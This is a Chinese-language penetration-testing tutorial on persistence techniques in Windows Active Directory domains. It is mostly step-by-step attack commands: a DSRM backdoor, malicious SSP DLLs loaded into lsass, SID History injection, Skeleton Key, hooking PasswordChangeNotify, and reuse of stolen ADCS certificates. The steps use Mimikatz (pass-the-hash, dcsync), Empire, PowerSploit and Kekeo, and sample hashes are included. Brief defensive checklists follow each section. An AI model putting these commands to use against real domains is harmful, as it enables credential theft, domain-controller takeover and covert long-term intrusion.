文章前言
随着企业信息化程度的加深,内网环境逐渐成为攻击者的关注的重点目标,在内网渗透的过程中权限维持是不可或缺的关键环节之一,它往往决定了攻击者能否在目标系统中长时间潜伏,获取敏感信息或者造成更大范围的破坏。本文旨在深入探讨内网渗透中的权限维持技术,包括其基本概念、常见手段以及防御措施
权限维持
DSRM域后门
基本介绍
DSRM(Directory Services Restore Mode,目录服务恢复模式)是Window域环境中域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(也就是DSRM账户)。 DSRM的用途是允许管理员在域环境中出现故障或崩溃时还原、恢复、重建活动目录数据库,使域环境的运行恢复正常,DSRM的密码需要在安装DC时设置且很少会被重置,修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。 在渗透测试中,我们可以使用DSRM账号对域环境进行持久化操作,如果域控制器的系统版本为WIndow Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步,在WIndow Server 2008之后的版本系统不需要安装此补丁,如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化控制。 每个域控制器都有一个本地管理员账户和密码(与域管理员账户和密码不同),而此处的DSRM账户和密码亦可以作为一个域控制器的本地管理员用户,之后通过网络连接域控制器,进而控制域控制器。
密码修改
微软公布了修改DSRM密码的方法,在域控上打开命令行环境,常用命令如下:
1、Windows Server 2008之后:
- NTDSUTIL:打开ntdsutil
- set DSRM password:修改DSRM的密码
- reset password on server null:在当前域控制器上重置DSRM的密码
- q(第1次):退出DSRM密码设置模式
- q(第2次):退出ntdsutil
如果域控制器的系统版本为Windows Server 2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域账号密码,常用命令如下:
- NTDSUTIL:打开ntdsutil
- set DSRM password:修改DSRM的密码
- sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
- q(第1次):退出DSRM密码设置模式
- q(第2次):退出ntdsutil
DSRM域后门设置
Step 1:使用Mimikatz查看krbtgt的NTML Hash 在域控制器中打开Mimikatz,执行以下命令,可以得到krbtgt的NTML Hash为:99b4cbb80c324c1601aae32c2f7925be
代码语言:javascript复制privilege::debug
lsadump::lsa /patch /name:krbtgt
Step 2:使用Mimikatz查看并读取SAM文件中本地管理员的NTML Hash 在域控制器中打开Mimikatz,之后执行以下命令,可以得到DSRM账户的NTLM Hash为:41945356c1b2adde08c00d0e48515b7e
代码语言:javascript复制token::elevate
lsadump::sam
Step 3:将DSRM账户与Krbtgt账户的NTML Hash同步
代码语言:javascript复制C:UsersAdministrator>ntdsutil
ntdsutil: SET DSRM PASSWORD
Reset DSRM Administrator Password: SYNC FROM DOMAIN account krbtgt
Password has been synchronized successfully.
Reset DSRM Administrator Password: q
ntdsutil: q
Step 4:查看DSRM的NTLM Hash是否同步成功
代码语言:javascript复制lsadump::sam
Step 5:修改DSRM的登录方式 在注册表中新建HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDsrmAdminLogonBehavior项:
在这里需要介绍一下DSRM的三种登录方式,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制,如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,也可以使用PowerShell进行更改
代码语言:javascript复制New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
Step 6:使用DSRM账户通过网络远程登录域控制器 此时在域成员主机的管理员模式下访问域控需要权限认证:
之后使用Mimikatz进行哈希传递,在域成员机器的管理员模式下打开Mimikatz,分别输入以下命令:
代码语言:javascript复制privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:99b4cbb80c324c1601aae32c2f7925be
Step 7:使用Mimikatz的dcysnc功能远程转储krbtgt的NTML Hash 哈希传递之后会弹出一个命令行窗口,在该窗口中打开Mimikatz,输入如下命令
代码语言:javascript复制lsadump::dcsync /domain:hacke.testlab /dc:dc /user:krbtgt
防御措施
针对DSRM域后门的防御可以从以下几点出发:
- 定期检查注册表中用于控制DSRM登录方式的键值HKLMSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该兼职为1,或者删除该键值
- 定期修改域中所有域控制器的DSRM账号
- 经常检查ID为4794的日志,尝试设置活动目录服务还原模式的管理员密码
SSP权限维持
基本介绍
SSP(Security Support Provider)是Windows操作系统安全机制的提供者,简单的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如:NTLM、Kerberos、Negotiate、Secure Channel(Schannel),Digest、Credential(CredSSP)。 SSPI(Security Support Provider Interface)安全支持提供接口,是Windows操作系统在执行认证操作时使用的API接口,可以说SSPI是SSP的API接口。 如果获得了网络中目标机器的System权限,则可以使用该方法进行持久化操作,其主要原理是LSA(Local Security Authority)用于身份验证,lsass.exe作为Windows的系统进程,用于本地安全和登录策略,在系统启动时,SSP将被加载到lsass.exe进程中,如果攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码,这样即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
权限维持
SSP维持域控权限有两种方法,在实战中我们通常也会将两种方法一起使用,这样不管目标主机是否重启~
方式一:伪造SSP并注入内存
使用Mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存伪造的SSP将会丢失,在实际网络中,可以针对这一点采取相应的防御措施。 首先,我们在域控中使用管理员权限打开Mimikatz,执行以下命令:
代码语言:javascript复制privilege::debug
misc::memssp
之后注销当前用户,并输入用户名与密码重新登录
之后可以在日志文件C:WindowsSystem32mimilsa.logmimilsa.log中看到被记录的明文密码:
方式二:mimilib.dll文件利用
第二种方法则是将Mimikatz中的mimilib.dll文件放到系统C:windowssystem32目录下,同时将mimilib.dll文件添加到注册表中,这种方法有一个好处就是即便是系统重启,也不会影响持久化的效果。 首先,我们将Mimikatz中的mimilib.dll文件复制到系统的C:windowssystem32目录下:
之后修改注册表HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages项,加载新的DLL文件
之后重启域控,DLL会被重新加载,用户在登录时输入的账户与密码明文会被存储在C:windowssystem32kiwissp.log中:
方式三:Empire框架模块 Empire提供了两个模块,可用于枚举现有的SSP并在目标系统上安装恶意的SSP,默认情况下,枚举模块将使用活动代理,并且不需要任何其他配置
代码语言:javascript复制usemodule persistence/misc/get_ssps
execute
之后将恶意安全支持提供程序复制到System32并更新注册表项将结束该技术
代码语言:javascript复制shell reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
Empire包含另一个模块,该过程可以自动进行,该模块将自动将DLL文件复制到System32并创建注册表项,唯一的要求是在主机上设置mimilib.dll文件的路径:
代码语言:javascript复制usemodule persistence/misc/install_ssp*
set Path C:UsersAdministratorDesktopmimikatz_trunkmimilib.dll
execute
Empire还支持可以执行自定义Mimikatz命令的脚本
代码语言:javascript复制usemodule credentials/mimikatz/command
set Command misc::memssp
execute
Empire还支持在进程的内存中注入恶意SSP,下面的模块将调用Mimikatz脚本并直接执行memssp命令,作为使该技术自动化的另一种方法
代码语言:javascript复制usemodule persistence/misc/memssp*
execute
方式三:PowerSploit模块
PowerSploit包含两个可以执行该任务的脚本,在Mimikatz的PowerShell变体"InvokeMimikatz"中,执行以下命令即可:
代码语言:javascript复制Import-Module .Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"
或者将恶意的SSP DDL文件传输到目标主机并使用模块Install-SSP将DLL复制到System32,并将自动修改相关的注册表项
代码语言:javascript复制Import-Module .PowerSploit.psm1
Install-SSP -Path .mimilib.dll
防御措施
针对SSP权限维持,可以通过以下几个方面进行防御:
- 检查HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa的Security Packages 项目中是否含有可疑的DLL文件
- 检查C:WindowsSystem32 目录下是否有可疑的DLL文件
- 使用第三方工具检查LSA中是否有可疑的DLL文件
SID History
基本介绍
每个用户都有自己的SID,SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限,SID History是在域迁移过程中需要使用的一个属性,如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源,而SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源,使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中,在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
SID History维权
Step 1:使用powershell查看Al1ex用户的SID History属性
Step2:打开mimikatz,将administrator的SID添加到恶意域用户Al1ex的SID History属性中,需要注意的是,在使用mimikatz注入SID之前,需要使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性,mimikatz在2.1版本后,将 misc:addsid模块添加到了sid:add 模块下
代码语言:javascript复制privilege::debug
sid::patch
sid::add /sam:al1ex /new:administrator #将administrator的SID添加到al1ex的SID History属性中
Step 3:再次使用Powershell查看Al1ex用户的SID History信息
Step 4:使用Al1ex用户登录域内其他主机,测试其是否具有Administrator的全新,尝试列出域控制器C盘的目录
防御措施
在给出具体的防御措施之前,我们分析一下SID History域后门的特点:
- 在控制域控后,可以通过注入SID History属性完成持久化任务
- 拥有高权限SID 的用户,可以使用PowerShell远程导出域控制器的ntds.dit
- 如果不再需要通过SID History属性实现持久化,可以在mimikatz中执行命令“sid::clear /sam:username”,清除SID History属性。
SID History域后门的防御措施如下:
- 经常查看域用户中SID为500的用户
- 完成域迁移工作后,对有相同SID History属性的用户进行检查
- 定期检查ID为4765和4766的日志,4765为将SID History属性添加到用户的日志,4766为将SID
Skeleton Key
基本介绍
Skeleton Key(万能密码),可以对域内权限进行持久化操作,在本文中将分别使用Mimikatz和Empire来完成Skeleton Key的操作,并分析其使用方法和防御措施
维权操作
Mimikatz
在域控制器中以管理员权限运行Mimikatz,之后执行以下命令,将SKeleton Key注入域控制器的lsass.exe进程中:
代码语言:javascript复制mimikatz # privilege::debug
mimikatz # misc::skeleton
如上图所示,系统提示Skeleton Key已经注入成功,此时会在域中的所有账户中添加一个Skeleton Key,其默认密码为"mimikatz",接下来就可以以域内任意用户的身份,配合该SKeleton Key运行域内身份授权验证了,我们可以在不适用域管理员原始密码的情况下,使用注入的Skeleton Key成功连接系统,例如:
代码语言:javascript复制net use \dcipc$ "mimikatz" /user:hackeadministrator
之后可以看到已经与域控制器建立了连接,我们之后可以列c盘的目录看看:
Empire框架
首先,进入empire环境,再成功反弹一个agent之后,我们使用interact命令进入该agent并输入"usemodule"命令加载skeleton_keys模块,该模块通过PowerSploit的Invoke-Mimikatz.ps1脚本,在加载Mimikatz之后,使用Powershell版的Mimikatz中的misc::skeleton命令,将Skeleton Key注入域控制器的lsass.exe进程,依次输入以下命令:
代码语言:javascript复制(Empire: 2BANTEZS) > back
(Empire: agents) > interact 2BANTEZS
(Empire: 2BANTEZS) > usemodule persistence/misc/skeleton_key*
之后将Skeleton Key注入后,Empire会提示可以使用密码"mimikatz"访问系统了:
之后使用"mimikatz"成功登陆系统:
安全防御措施
2014年,微软在Windows操作系统中增加了LSA保护策略,以防止lsass.exe进程被恶意注入,从而防止mimikatz在非允许的情况下提升到Debug权限,通用的Skeleton Key的防御措施列举如下: 域管理员用户设置强口令,确保恶意代码不会在域控制器中执行 在所有域用户中启用双因子认证 启动应用程序白名单(Applocker),以限制mimikatz在域控上运行 在日常网络维护中注意以下方面,也可以有效防范Skeleton Key: 向域控制器注入Skeleton Key的方法,只能在64位操作系统中使用,包括Windows Server 2012 R2、Windows Server 2012、Windows Server 2008、Windows Server2008 R2、Windows Server 2003 R2、Windows Server 2003 只有具有域管理员权限的用户可以将Skeleton Key注入域控制器的lsass.exe进程 Skeleton Key被注入后,用户使用现有的密码仍然可以登录系统 因为Skeleton Key是被注入lsass.exe进程的,所以它只存在于内存中,如果域控制器重启,注入的Skeleton Key将会失效
Hook PasswordChangeNotify
基本介绍
在修改域控密码时,用户输入新密码后,LSA会调用PasswordFileter来检查该密码是否符合复杂度要求,如果密码符合复杂度要去,LSA就会调用PasswordChangeNotify,在系统中同步密码。
权限维持
Step 1:下载POC(https://github.com/clymb3r/Misc-Windows-Hacking ),之后使用VS进行编译,在编译时需要先设置MFC为静态库中使用MFC
Step 2:使用Empire下的Invoke-ReflectivePEInjection.ps1将HookPasswordChange.dll注入内存,在目标系统中启动管理员权限的powershell执行以下语句
代码语言:javascript复制Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
之后当用户修改密码时,修改后的明文密码就会记录在 C:WindowsTemppasswords.txt 文件中
防御措施
使用Hook PasswordChangeNotify方法不需要重启系统、不会在系统磁盘中留下DLL文件、不需要修改注册表,如果PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的,所以在日常网络维护工作中,需要对PowerShell进行严格的监视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。
ADCS之权限维持
基本介绍
在微软的文档里有一段话"当使用PKCA时,KDC在权限属性证书(PAC)中会返回用户的NTLM",也就是说当使用证书进行Kerberos认证的时候,返回票据的PAC包里面还有NTLM票据,故可以用于获取用户NTLM Hash https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/4e5fb325-eabc-4fac-a0da-af2b6b4430cb
如果我们控制的目标主机中存在企业CA,则用户(或计算机)可以请求注册任何可用模板的证书,在用户凭证被盗时,我们可以请求一个模板证书,该模板允许我们作为该用户(或机器)向Active Directory进行身份验证,由于证书是独立的身份验证材料,即使用户(或计算机)重置了密码,这些证书仍然可用~
漏洞利用
下面我们用一个案例来说明: Step 1:控制域内一台主机,发现里面有个用户的证书
Step 2:查看可用证书
代码语言:javascript复制certutil -user -store My
Step 3:使用certutil导出证书(如果导出不了的话,就用mimikatz来导出证书)
代码语言:javascript复制certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:UsersAl1ex.HACKEDesktopAl1ex.pfx
Step 4:然后把pfx文件拷贝到我们自己的计算机,双击导入,输入刚刚我们输的密码
Step 5:然后在我们本地的计算机做个代理进内网,并且把DNS也代理进去(dns设置为内网的域控)
Step 6:使用Kekeo获取用户的NTLM
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
Step 7:修改用户密码——Kksvqm@123
Step 8:使用之前的证书依旧可以窃取的用户的NTLM Hash
代码语言:javascript复制tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab
文末小结
本篇文章主要对内网渗透中的域内权限维持手法进行了介绍,其实内网主机有window,也有Linux,所以读者不用过于局限于内网手法进行权限维持(当然这种作为首选属实极好),至于window下的一系列维权也可以进行尝试操作,例如:WMI后门、CLR维权、COM Hijacking、Powershell配置文件、劫持扩展程序等进行权限维持,这里不再过多的展开~